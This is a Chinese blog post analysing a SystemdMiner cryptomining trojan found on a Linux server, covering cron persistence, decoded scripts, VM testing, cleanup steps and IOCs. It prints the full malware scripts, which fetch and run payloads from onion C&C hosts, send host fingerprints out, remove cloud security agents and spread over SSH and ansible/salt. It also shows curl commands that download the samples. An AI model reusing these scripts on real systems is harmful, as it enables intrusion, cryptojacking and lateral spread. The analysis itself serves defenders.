欢迎光临
我们一直在努力

记录一次挖矿木马的分析与处置过程

SystemedMiner挖矿木马分析处置

登陆到受害主机去查看一下,查看下进程CPU使用率正常,并无挖矿迹象

(要注意的是区分系统进程和木马进程,因为很多木马的进程都是以随机字符名称出现的,例如kswapd1kswapd0也比较类似,但是这两个进程是系统进程,所以不要混淆,在删进程前要先查询一下其作用,其实如果挖矿进程在跑的话,很容易便会发现其进程PID和名称)

通常挖矿木马都会去写一个计划任务,来防止挖矿进程被删掉,这里看了一位大师傅的溯源分析,提到了cron在执行时,会读取三个地方的配置文件:一是/etc/crontab,二是/etc/cron.d目录下的所有文件,三是每个用户的配置文件,所以挖矿木马可能会有多个定时任务存在

crontab -l

ls /etc/cron.d/

发现其文件名称都包含uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0,直接匹配关键字也可以

find / 2>/dev/null | grep uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0

服务器中存在两个定时任务,查看一下里面的内容两个文件内容一致,且内容为base64编码,先对其进行解码处理,而且virustotal判断为恶意文件

分析一下:

uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0
exec &>/dev/null #不输出出错和输出信息
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
#获取当前用户的家目录
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
#获取执行命令
c=$(echo "curl -4fsSLkA- -m200")
#C&C域名为fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.*
t=$(echo "fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad")

sockz() {
n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")#代理域名relay.tor2socks.in
q=${n[$((RANDOM%${#n[@]}))]}
s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1)
}
#在几个目录路径里寻找一个有读写权限的路径
fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-) #用当前时间生成 md5 码
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)#crontab计划任务执行
#下载病毒母体,随机方式进行命名,通过socket5的方式用relay.tor2socks.in代理访问C&C域名
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r 
#若代理失效,则可采用后面的方法
#例如:curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it/int.x86_64 -o  int.x86_64 -e183.134.110.75
chmod +x $x;$x;rm -f $x#运行后删除病毒文件
}

for h in tor2web.in tor2web.it
do
#检查木马是否存在,若不存在则调用fexe测试执行,接着调用u $t.$h 进行木马文件的下载
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
#再次查看进程状态,若没有继续下载木马
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

sockz()函数通过doh查询IP,通过这种方法既可以提供加密保护dns查询结果,又可以绕过各大厂商IDS里恶意域名的IOC

https://doh.pub/dns-query?name=relay.tor2socks.in

经过分析,这个样本的执行的总体流程如下:

  1. doh解析域名获取tor代理IP
  2. 查找目标主机可读写的路径
  3. 通过tor代理在C&C服务器上下载与目标主机硬件版本相匹配的恶意文件
  4. 开启crontab计划任务并执行
  5. 根据pid文件返回脚本执行结果并进行判断

根据这个样本的特征查了下资料,发现和SystemdMiner挖矿木马比较类似,特点如下:

  • 访问带有tor2web、onion字符串的域名
  • 在/tmp目录下有systemd*的文件
  • 还有就是中转域名relay.tor2socks.in被微步判定为SystemdMiner挖矿僵尸网络

并且这个SystemdMiner是一个变种,除了更新了C&C域名,还使用了socks5代理的方式去访问C&C域名从而实现绕过安全网关的目的,其余的特征与以往其他版本类似,通过上面的分析,知道该脚本会将内容写入到/tmp/.X11-unix/文件夹,里面存放着的是进程PID

通过PID找一下病毒文件位置

ls -l /proc/{PID}/exe

发现病毒文件已经都被删除,查看一下00、01这些文件是什么时间创建的,可以对比一下其他机器的时间,找出最早的时间,方便后面的溯源

看了许多师傅们分析的文章,.X11-unix文件夹下的文件作用如下:

01 文件 守护进程pid
11 文件 病毒运行进程pid
22 文件 可能为SSH爆破进程pid

查看一下01和11的进程状态

1.ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status
2.ps -ef|grep 13485 
3.lsof -p 13485

01通过 lsof 判断,没有发现有外连或打开端口的现象

再查看11的进程状态,发现有外连

但是较为奇怪的是,攻击者只是上传了一个守护进程,找不到下载的病毒文件,CPU也没有异常,为了防止出现问题,还是先将定时任务以及进程先杀掉,接下来将病毒文件下载起来在虚拟机执行一下。

虚拟机执行测试

先按照守护进程下载病毒文件的方式,将病毒文件下载起来

$ curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it/int.x86_64 -o  int.x86_64 -e183.134.110.75

执行一下该ELF文件,发现crotab定时任务增加了新的一项任务,且root目录下生成了该任务所指向的新的脚本文件

查看一下该脚本文件

#!/bin/bash
FBGJOndscVOU2PKZGWF8C6kibWnyHLP
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "4t5ypbzi2kko7tqmk6y345ntpmctwj5jmu3cebxsnonsdljyyfs335ad")
#C&C服务器域名前缀不同
sockz() {
n=(dns.digitale-gesellschaft.ch doh.li doh.pub fi.doh.dns.snopyta.org hydra.plan9-ns1.com resolver-eu.lelux.fi dns.hostux.net dns.twnic.tw doh-fi.blahdns.com resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
q=${n[$((RANDOM%${#n[@]}))]}
s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1)
}

fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

这个脚本和之前服务器存在的那个守护进程脚本功能相同,但和上面服务器的那个脚本对比一下也会发现有两处不同的地方:

  1. 新脚本文件的C&C服务器域名前缀与前面的不同
  2. 代码前的字符串不同,之前服务器上的是uMjSD9OaH5uA4C3CCjD4q2XEwo1s0H0,而新的脚本文件中则是FBGJOndscVOU2PKZGWF8C6kibWnyHLP,与文件名相同

对该字符串进行一次全局搜索

find / 2>/dev/null | grep FBGJOndscVOU2PKZGWF8C6kibWnyHLP

发现三个定时任务,查看了一下内容都一致,应该是作为备份文件以防其中某一个被删

查看了深信服千里目安全实验室的文章和此类情况类似,可以从病毒母体ELF文件中逆向分析出5个不同的bash命令,若tor代理可用则可以使用下面的方法去下载出各个模块

curl -4fsSLkA -m200 -x socks5h://92.190.141.62:9050 4t5ypbzi2kko7tqmk6y345cebxsnonsdljyyfs335ad.onion/sshd ntpmctwj5jmu3cebxsnonsdljyyfs335ad.onion/sshd

但由于目前还不会IDA逆向调试,而且tor代理IP拒绝连接(用|后面那种方法下载的文件的内容也都是下载SSH爆破脚本,如果继续下载的话也是无法访问),就先使用师傅扒出来源码学习一下

逆向分析后,可以发现有五个base64编码,分别用于下载不同模块和执行不同的功能,功能如下:

  • 本机持久化
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)

x() {
if ! ls $d/.systemd-private-*.sh; then
grep "C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu" $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh || echo -e "#\x21/bin/bash\nexec &>/dev/null\necho C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu\necho QzBQZ0Z6MkpIY3Bzd1ZNT0s3WFNIUW9kRE9yQVdJS3UKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAid2FjcG5uc280b3R0eGx5dmpwMmFkYWllYWl2eHgyc2F4b3ltZWRuaWRwM3p5Zm9xZmM1anBxYWQiKQoKc29ja3ooKSB7Cm49KGRvaC50aGlzLndlYi5pZCBkb2gucG9zdC1mYWN0dW0udGsgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgcmVzb2x2ZXItZXUubGVsdXguZmkgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTExKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8Z3JlcCAtRXYgWy5dMHxzb3J0IC11UnxoZWFkIC1uIDEpCn0KCmZleGUoKSB7CmZvciBpIGluIC4gJEhPTUUgL3Vzci9iaW4gJGQgL3Zhci90bXAgO2RvIGVjaG8gZXhpdCA+ICRpL2kgJiYgY2htb2QgK3ggJGkvaSAmJiBjZCAkaSAmJiAuL2kgJiYgcm0gLWYgaSAmJiBicmVhaztkb25lCn0KCnUoKSB7CnNvY2t6CmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdApkbwppZiAhIGxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXM7IHRoZW4KZmV4ZTt1ICR0LiRoCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC90bXA7dSAkdC4kaCkKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL2Rldi9zaG07dSAkdC4kaCkKZWxzZQpicmVhawpmaQpkb25lCg==|base64 -d|bash" > $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
touch -r /bin/grep $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
chmod +x $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
fi
if ! ls /opt/systemd-private-*.sh; then
grep "C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu" /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh || echo -e "与上面内容相同|base64 -d|bash" > /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
touch -r /bin/grep /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
chmod +x /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh
fi
if ! ls /etc/cron.d/0systemd-private-*; then
grep C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu || echo "$(echo $((RANDOM%59))) * * * * root /opt/systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh > /dev/null 2>&1 &" > /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu
touch -r /bin/grep /etc/cron.d/0systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu
fi
if ! crontab -l | grep ^[0-9] | grep systemd-private; then
(echo "$(echo $((RANDOM%59))) * * * * $d/.systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh > /dev/null 2>&1 &";crontab -l|grep -v systemd-private-C0PgFz2JHcpswVMOK7XSHQodDOrAWIKu.sh)|crontab -
fi
}

这段代码便是创建定时任务,这段代码共创建三个定时任务

  1. /etc/cron.d/0systemd-private-*
  2. /opt/systemd-private-*
  3. /root/systemd-private-*

而其中的base64代码的任务便是下载母体木马int文件,和上面的守护进程内容一致

  • 竞争对手清理:这个脚本的主要作用便是清除服务器上其他的挖矿木马,改写hosts文件让其他挖矿无法访问对应的域名,但是经过查询虚拟机的hosts文件,并没有发现被修改(应该是两种方法下载模块和脚本都失效了,没有下载对应的脚本和模块)

  • 内网传播
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "5ixhieezozxwnvisopgxoba6ssbsrvdpxeduxb4jc6zx7s56rufrjzad")

sockz() {
n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}

fexe() {
for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

isys() { 
#写入定时任务,并且卸载assist-daemon(阿里云)、qcloud(腾讯云)的入侵检测系统
echo ZnVuY3Rpb24ga3VybCgpIHsKICByZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOnKICBbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKICBleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKICBlY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwogICh3aGlsZSByZWFkIGxpbmU7IGRvCiAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKICBkb25lICYmIGNhdCkgPCYzCiAgZXhlYyAzPiYtCn0KCnJtIC1mICRIT01FL3NzCmN1cmwgLVYgfHwgd2dldCAtcSBodHRwczovL2dpdGh1Yi5jb20vbW9wYXJpc3RoZWJlc3Qvc3RhdGljLWN1cmwvcmVsZWFzZXMvZG93bmxvYWQvdjcuNzUuMC9jdXJsLWFtZDY0IC1PICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApjdXJsIC1WIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvY3VybCA+ICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApzcyAtdiAgIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvc3MgICA+ICRIT01FL3NzO2NobW9kICt4ICRIT01FL3NzCnNzIC12ICAgfHwgY3VybCAtcyBodHRwOi8vMTM5LjU5LjE1MC43OjQ0My9zcyAtbyAkSE9NRS9zcztjaG1vZCAreCAkSE9NRS9zcwpwcyAgICAgIHx8IGN1cmwgLXMgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvcHMgLW8gJEhPTUUvcHM7Y2htb2QgK3ggJEhPTUUvcHMK|base64 -d|bash
crontab -l || yum -y install cron
crontab -l || yum -y install cronie
crontab -l || apt-get update && apt-get -y install cron
/usr/local/share/assist-daemon/assist_daemon --stop
/usr/local/share/assist-daemon/assist_daemon --delete
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/etc/init.d/aegis uninstall
systemctl stop aliyun
systemctl disable aliyun
systemctl start cron
systemctl enable cron
systemctl start crond
systemctl enable crond
rm -rf /usr/loca/qcloud/ /usr/local/aegis/ /usr/local/share/assist-daemon/ /usr/local/share/aliyun-assist/ /usr/sbin/aliyun-service /usr/sbin/aliyun_installer /etc/systemd/system/aliyun.service
}

issh() {
#利用自动化运维工具ansible、salt、pssh、knife写入定时任务
ansible all -m shell -a 'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'
knife ssh 'name:*' 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash'
salt '*' cmd.run 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash'
pssh 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash'
#从bash的历史ssh记录中尝试去登录远程设备
hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |grep -v ^127.|awk -F: {'print $2'}|sort|uniq)
for h in $hosts;do ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no -l root  $h 'echo 与上面的base64编码一致,都是守护进程|base64 -d|bash';done for h in $hosts;do ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no -l $USER $h '与上面的base64编码一致,都是守护进程|base64 -d|bash';done
}

ibot() {
f=/bot 
r=$(curl -4fsSLk ip.sb||wget -4qO- ip.sb||curl -4fsSLk checkip.amazonaws.com)_$(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 -e$r $t.onion$f || $c -e$r $1$f
}

iscn() {
pkill -9 -f tracepath
f=/trc 
x=./$(date|md5sum|cut -f1 -d-)
$c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$x
chmod +x $x;$x;rm -f $x
}

sockz
fexe
isys
issh &
ibot $t.tor2web.in || ibot $t.tor2web.it
iscn $t.tor2web.in || iscn $t.tor2web.it

这个脚本的作用是先将阿里云和腾讯云的入侵检测系统给卸载掉,然后再利用自动化运维工具写入定时任务,最后就是下载两个可执行文件,一个是bot,一个是trc,其中trc文件用于Hadoop Yarn未授权访问漏洞利用(内网横向移动)

  • 下载挖矿文件cpu

病毒母体执行后会下载cpu脚本,以进行挖矿,手动下载一下试试看:

curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in/cpu -o  cpu -e183.134.110.75

手动执行挖矿脚本的时候要先解除文件的锁定chattr -i cpu,再赋权限运行

但是在本地也没有运行起来,缺失一些配置文件,可能是因为前面的模块有的没有下载导致。

  • 状态控制
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "i62hmnztfpzwrhjg34m6ruxem5oe36nulzmxcgbdbkiaceubprkta7ad")

sockz() {
n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}

u() {
sockz
f=/cmd
$c -x socks5h://$s:9050 $t.onion$f || $c $1$f
}
(
u $t.tor

病毒母体执行后会下载cmd脚本,用于当主机网络无法连接到矿池时,会结束掉自身的挖矿进程,增强隐蔽性,但是tor代理失效,暂时无法下载

curl -4fsSLkA- -m200 fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in/cmd -o  cmd -e183.134.110.75

如果用这种方法下载的话,很奇怪会得到下载ssh暴力破解的脚本,脚本内容也无法进行下载查看

归纳梳理

该木马通过bash命令下载执行多个功能模块,通过SSH暴力破解、SSH免密登录利用、Hadoop Yarn未授权访问漏洞和自动化运维工具内网扩散,且该木马的文件下载均利用暗网代理,感染后会清除主机上的其他挖矿木马,以达到资源独占的目的

通过看师傅们的博客和自己的测试,对目前这个SystemedMiner挖矿木马也有了一定的了解,木马执行后,会下载一系列的模块和可执行脚本,用于持久化、内网横向渗透、挖矿、命令控制、清除一些入侵检测系统和其他挖矿程序,但需要使用tor代理,之所以服务器和虚拟机只有持久化的脚本(守护进程脚本),就是因为病毒母体启动后,tor代理失效,无法下载其他模块和脚本,也就只有一个守护进程脚本。

处置方法

在了解了SystemedMiner挖矿木马感染机器的过程后,防护便一目了然了,它做的主机持久化控制便是通过写定时任务,而定时任务是下载病毒母体并执行,就这样循环来控制主机,所以要清除该病毒文件的话:

  1. 第一步便是要将定时任务删除完,通过crontab -e移除/root/systemd-private-*,然后再删除/etc/cron.d/0systemd-private-*/opt/systemd-private-*.sh文件
  2. 再去查看/tmp/.X11-unix/文件下0111获取其PID,使用kill -9 进程id,杀死进程
  3. 更改文件夹权限,再不清楚攻击者从哪里进来的时候,/tmp/.X11-unix/这个文件夹可以进行保留,防止黑客重新写入,但要设置好权限,若服务器中运行了其他的一些模块和脚本,杀相关进程和文件,重复上面的方法即可
#chattr +i [file/directory]使file/directory无法被更动
chattr +i /tmp/.X11-unix/01
或
chmod -R 000 /tmp/.X11-unix/01
#查看文件夹权限
ls -ld /tmp/.X11-unix/

需要注意的一点是:

这些文件夹其实是系统自带的,主要作用是存储临时文件,只是该挖矿木马利用了这个可读可写的权限,将内容放在里面,在进行清理和溯源的时候要注意区别。

IOCS

守护进程样本hash:
MD5 d61b3ba654ad546cc49d5ace7de0e309
SHA-1 ca852b6b7f5e52a17661456ae37e0e6009c87ac3
SHA-256 7de2aa89cb2f2edf06418ad39d6c516c25bb52a5d1bf62332b0892bc2fa1c3d4

远控样本(int.x86_64)hash:
MD5 7308d194a75c13e464d4a8cc8094bca7
SHA-1 389889090811fb2a4063d03c0ecafb33b8c68b12
SHA-256 7834430c0d7953648e906a679ae6e92d6807305220639df41bff72dceb09e94f

fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.onion
fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it ——C&C域名
fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in ——C&C域名

参考文章

https://www.freebuf.com/articles/system/233138.html

https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=144683

https://www.freebuf.com/articles/system/225146.html

https://hksanduo.github.io/2021/11/08/2021-11-08-systemd-miner-analysis/

https://www.freebuf.com/articles/web/279000.html

https://zhuanlan.zhihu.com/p/370493577

https://www.codenong.com/cs106872151/cl

http://les1ie.com/2021/07/12/tor-miner/

https://github.com/tor2web/Tor2web

未经允许不得转载:Caldow » 记录一次挖矿木马的分析与处置过程
分享到: 生成海报

切换注册

登录

忘记密码 ?

切换登录

注册

